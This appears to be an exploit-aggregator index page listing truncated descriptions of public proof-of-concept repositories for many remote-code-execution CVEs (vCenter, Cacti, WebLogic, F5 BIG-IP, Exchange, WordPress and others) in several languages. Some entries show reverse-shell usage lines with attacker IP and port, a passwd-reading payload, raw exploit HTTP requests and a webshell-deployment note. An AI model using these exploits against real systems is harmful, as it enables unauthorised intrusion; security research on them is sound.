CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 RCE no autorizado en VMware vCenter script de exploit de Metasploit preparación root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）——针对 Cacti = 1.2.22 的未经身份验证的远程代码执行。你可以在此处阅读有关该漏洞的更多信息。该脚本添加了一个反向 Shell 处理器，并基于 sAsPeCt488 编写的代码。你可以在此处查看原始代码。 用法 root@kitploit: python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444 参数： -t : 目标 IP 地址 -i : 攻击者系统 IP 地址 -p : 反向 Shell 端口 致谢...

CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 - Exploit de RCE no autenticado en Langflow 📋 Descripción general CVE-2026-33017 es una vulnerabilidad de Ejecución Remota de Código RCE no autenticada en versiones de Langflow Este exploit es solo para fines educativos y de pruebas autorizadas. El acceso no autorizado a sistemas...

CVE-2017-10271

Identificación y explotación de CVE-2017-10271. RCE no autenticado en Weblogic. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html root@kitploit: POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length:...

F5-BIG-IP-SmuggleShell-CVE-2023-46747-Exploit

F5 BIG-IP CVE-2023-46747 – RCE sin autenticación + Shell inversa Versiones para Python3 y Nuclei – por raguraman RCE crítica sin autenticación CVSS 9.8 mediante AJP + contrabando de solicitudes HTTP Funciona en todos los BIG-IP sin parche 13.x → 17.x incluyendo el último 17.1.0.3 Parche:...

CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - PoC RCE in Social WarFare Plugin system'cat /etc/passwd' Save it with filename: payload.txt and upload it on a server. The URI should look like: https://yoursite.com/payload.txt. Finally, supply your --target and --payload-uri options: root@kitploit: $ python...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar 来自 https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget 使用 EXP...

PoC

PoC Repositorio de exploits y herramientas de prueba de concepto. BMCRSCDRCE Exploit de ejecución remota de comandos no autenticado para el agente RSCD de BMC Server Automation. El exploit funciona contra servidores afectados por CVE-2016-1542 detectado por Nessus. Esto ahora es un módulo de...

CVE-2021-21972

CVE-2021-21972 vCenter CVE-2021-21972 漏洞利用概念验证代码 研究致谢：https://swarm.ptsecurity.com/unauth-rce-vmware/，http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ 已在 Windows 和 Unix vCenter VCSA 目标上测试通过。 使用方法 如果仅需无害地检查目标是否易受攻击，只需提供 --target 参数。 若要利用漏洞，请提供 --file、--path 和 --operating-system 标志。 将...

CVE-2019-9653

CVE-2019-9653 日期 Disclosure: 03/11/2019 Last updated: 03/15/2019 摘要 NUUO Inc.是一家提供視訊監控解決方案的公司。他們有許多NVR（網路視訊錄影機）產品，可滿足不同客戶的各種要求。這些NVR為Linux的嵌入式視訊錄製系統，可以管理多個攝影機。目前，它們在全世界被許多公共機構、公司、銀行及個人等使用。這些NVR系統的Web界面包含許多嚴重漏洞可遭未經身份驗證的攻擊者利用。我們從中發現了一些易受攻擊的PHP腳本缺乏認證機制和輸入保護，因此它們可在NUUO設備上被利用以root權限執行遠端程式碼。 影響範圍 韌體版本...

CVE-2022-46169

CVE-2022-46169 POC Este es un script de Prueba de Concepto POC para la vulnerabilidad CVE-2022-46169 que afecta a Cacti versión 1.2.22. Descripción La vulnerabilidad CVE-2022-46169 permite una inyección de comandos sin autenticación en versiones de Cacti hasta la 1.2.22, logrando así una ejecució...

Ultimate-wp2shell

WP2Shell – Proof of Concept Educational and defensive Proof of Concept PoC for validating exposure to the WordPress Core vulnerabilities CVE-2026-60137 and CVE-2026-63030 WP2Shell. Overview This repository provides a defensive detection and validation proof of concept for the WordPress Core...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei模板 CVE-2022-1388 BIG-IP iControl REST 暴露 May 06, 2022 这仅通过访问认证端点来验证API的存在 该漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，从而执行任意系统命令、创建或删除文件，或禁用服务。没有数据平面暴露风险；仅为控制平面问题。 此模板是一个简单的检查 发送请求： 路径 BaseURL/mgmt/shared/authn/login 匹配条件： 关键词： "resterrorresponse" "message" 状态码： 401 POC 手动验证 root@kitploit:...

CVE-2021-25003

CVE-2021-25003 root@kitploit: Title: WPCargo 6.9.0 - Unauthenticated RCE Author: Krzysztof Zając https://kazet.cc/ CVE: CVE-2021-25003 Instalación root@kitploit: git clone https://github.com/biulove0x/CVE-2021-25003.git cd CVE-2021-25003/ python3 -m pip install -r requirements.txt Cómo ejecutar e...

CVE-2020-14882

CVE-2020-14882部署冰蝎内存马 众所周知，CVE-2020-14882是一个未授权漏洞，攻击者可以利用该漏洞在受影响的 WebLogic Server 上执行任意代码。 网上公开的poc中既是通过非法字符绕过访问，然后通过Gadget调用命令执行。那么在实际应用场景和红队攻击中光执行命令是远远不够的，这时候如何通过未授权漏洞进一步利用部署内存马就显得尤为重要。 漏洞分析文章网上一大堆，就是二次编码问题，直接看网上公开的执行代码POC： root@kitploit: POST /console/images/%252e%252e/console.portal HTTP/1.1...

zoneminder-snapshots-rce-poc

Zoneminder Unauthenticated RCE via Snapshots CVE-2023-26035 POC This is a script written in Python that allows the exploitation of the Zoneminder's security flaw described in CVE-2023-26035. The system is vulnerable in versions preceding 1.36.33 and 1.37.33. Usage Clone the repository to your...

CVE-2025-32433-Exploit-edited

Exploit CVE-2025-32433 Compatible con Windows Ejecución Remota de Código No Autenticada en SSH de Erlang/OTP Descripción Este repositorio contiene un exploit para CVE-2025-32433, una vulnerabilidad crítica de ejecución remota de código no autenticada en el servidor SSH de Erlang/OTP...

CVE-2026-63766_exploit

CVE-2026-63766 — Inyección de comandos del sistema operativo sin autenticación en GPT-SoVITS Ejecución remota de código sin autenticación en la interfaz web de Gradio de GPT-SoVITS webui.py. Las utilidades de procesamiento de audio openasr, openslice, opendenoise, openuvr5 interpolan los valores ...

proxylogscan

proxylogscan Esta herramienta para escanear en masa una vulnerabilidad en Microsoft Exchange Server que permite a un atacante eludir la autenticación y hacerse pasar por administrador CVE-2021-26855. Al encadenar este fallo con otra vulnerabilidad posterior a la autenticación de escritura...

CVE-2022-24355

CVE-2022-24355 Exploit de ejecución remota de código RCE en Tplink wr841 v10 sin autorización ⚠️ Aviso legal El código de este repositorio se proporciona tal cual únicamente con fines educativos y de investigación de seguridad defensiva. Úsalo solo en sistemas que poseas o para los que tengas...